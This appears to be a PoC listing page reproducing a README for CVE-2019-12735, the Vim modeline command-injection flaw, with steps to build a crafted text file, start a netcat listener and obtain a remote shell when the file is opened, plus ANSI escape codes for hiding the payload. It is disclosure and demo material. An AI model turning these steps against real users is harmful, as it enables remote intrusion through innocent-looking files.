CVE-2019-12735 PoC — Vim 操作系统命令注入漏洞

Source

Associated Vulnerability

Description

A demo for cve-2019-12735

Readme

# CVE-2019-12735

This CVE was fixed after neovim 0.3.6 and vim 8.1.1365

## POC

```bash
vim demo1.txt
```

## Remote shell

1. Create malware text file:

```bash
gcc make_demo3.c -o make_demo3
./make_demo3
```

2. Build client in another session:
```bash
nc -vlp 9999
```

3. Open malware file:
```bash
vim demo3.txt
```

And then, you can execute any linux commands in the session.


## Reference

- [A POC demo on github](https://github.com/pcy190/ace-vim-neovim)
- [Exploit DB](https://www.exploit-db.com/exploits/46973)
- [netcat](https://myapollo.com.tw/zh-tw/linux-command-nc/)

## ANSI

- `\x1b[?7l` : 輸出到行末時不換行, 持續覆蓋最後一個字元
- `\x1bS`: STS, Set transmit state
- `\x1b[1G`: 移動到column 1
- `\x1b[K`: 刪除從目前游標位置至行末的所有字元

File Snapshot

 [4.0K]  /data/pocs/51a8591d44f6bf8258e1505db50f1ea7d7684652
├── [  75]  demo1.txt
├── [ 141]  demo2.txt
├── [ 266]  Dockerfile
├── [ 564]  make_demo3.c
├── [  42]  modeline_demo.py
└── [ 801]  README.md

0 directories, 6 files

Remarks